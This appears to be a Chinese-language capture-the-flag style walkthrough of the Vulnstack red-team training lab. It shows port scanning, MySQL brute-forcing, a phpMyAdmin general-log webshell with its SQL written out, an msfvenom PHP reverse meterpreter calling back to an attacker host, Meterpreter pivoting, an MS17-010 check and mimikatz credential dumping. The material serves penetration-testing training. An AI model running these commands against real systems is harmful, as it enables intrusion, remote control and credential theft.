ATT&CK红队评估 【一】

红日安全团队的一套靶场,用于学习和练习

下载&&配置

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

MAC配置如下:

macos修改vmware Fusion的NAT网络

点击vmware Fusion > 偏好设置

image

网络 > 解锁 > “+” > 添加子网IP“162.168.52.0” > 取消勾选混杂模式

image

在Windows 7 x64 设置 > 添加设备 > 网络适配器

网络适配器一选择桥接模式(自动检测),网络适配器二选择之前设置的wmnet

image

进入Windows 7 x64选择 > 网络和internet > 网络共享中心 > 更改适配器设置 > 自动获取IP地址

image

剩下两台服务器的网络适配器选择之前设置的wmnet,启动Windows 7 x64的PHPstudy,检查下网络是否能ping通。

image

入口权限获取

使用nmap对“外网”IP进行探测:

1
nmap -p 1-65535 192.168.1.30 -Pn -T5 -O -sS

image

发现开放3306,80端口,80端口是PHPstudy探针,尝试hydra爆破3306端口的数据库:

1
hydra -L /root/桌面/user.txt -P /root/桌面/ssh-pass.txt -t 5 -e ns -f -s 3306 192.168.1.30 mysql

3306只允许本地连接,访问80端口是探针,路径扫描,发现phpmyadmin。

1
nikto -host 192.168.1.30

image

爆破:

image

禁止写入,无法使用 into outfile:

image

在phpmyadmin的sql语句中执行开启全局日志,并写入getshell:

1
2
3
4
5
6
7
show variables like '%general%';   #查询日志是否开启

set global general_log= ON # 修改参数

set global general_log_file = 'C:/phpStudy/WWW/360.php' #修改日志存储位置

select '<?php eval($_POST['360']; ?)>' #在日志写入shell

连接,这里要注意格式,多次写入会报错:

image

代理&&转发

创建反弹shell的PHP

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.28 lport=6666 -f raw > shell.php

创建监听端口,等待反弹:

1
2
3
4
5
6
7
8
9
10
11
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.28
LHOST => 192.168.1.28
msf5 exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.28:6666
[*] Sending stage (38288 bytes) to 192.168.1.30
[*] Meterpreter session 1 opened (192.168.1.28:6666 -> 192.168.1.30:20484) at 2020-03-18 08:21:07 +0800

image

内网基本信息收集

获取域控机器IP : 192.168.52.138

1
2
3
4
5
net user /domain    #查询域用户
net group /domain #查看在域中有哪些组
net time /domain #显示时间,如果存在域会从域控返回时间
net config workstation #工作域显示域名
ping owa.god.org # 获取域控IP

被控制win7中存在nmap,扫描C段

1
nmap -sn 192.168.52.0-255

扫描存活主机端口

1
nmap -p 1-65535 192.168.52.138,141

添加路由/代理

获取内网地址:

1
2
3
4
5
6
7
meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 169.254.0.0/255.255.0.0
Local subnet: 192.168.0.0/255.255.255.0
Local subnet: 192.168.52.0/255.255.255.0

添加目标网段的路由

1
2
3
4
5
6
7
meterpreter > run autoroute -s 192.168.52.0/255.255.255.0

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.52.0/...
[+] Added route to 192.168.52.0/ via 192.168.0.17
[*] Use the -p option to list all active routes

添加路由成功后,我们查看路由的添加情况:

1
2
3
4
5
6
7
8
9
10
11
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
192.168.52.0 255.255.255.0 Session 1

获取域控权限

探测域控主机是否存在17-010漏洞:

image

利用,获取权限:

使用mimikatz读取域控帐号密码

1
2
privilege::debug
sekurlsa::logonpasswords full

看了官方WP发现还有很多漏洞,感兴趣的师傅可以自己搞一下~

参考资料

ATT&CK实战 | 红队评估一(上)

ATT&CK实战 | 红队评估一(下)

后渗透之meterpreter使用攻略

2020最新-内网渗透视频

后续学习&&补全

  1. msfvenom 学习(免杀学习)
  2. mimikatz 学习(免杀,无文件)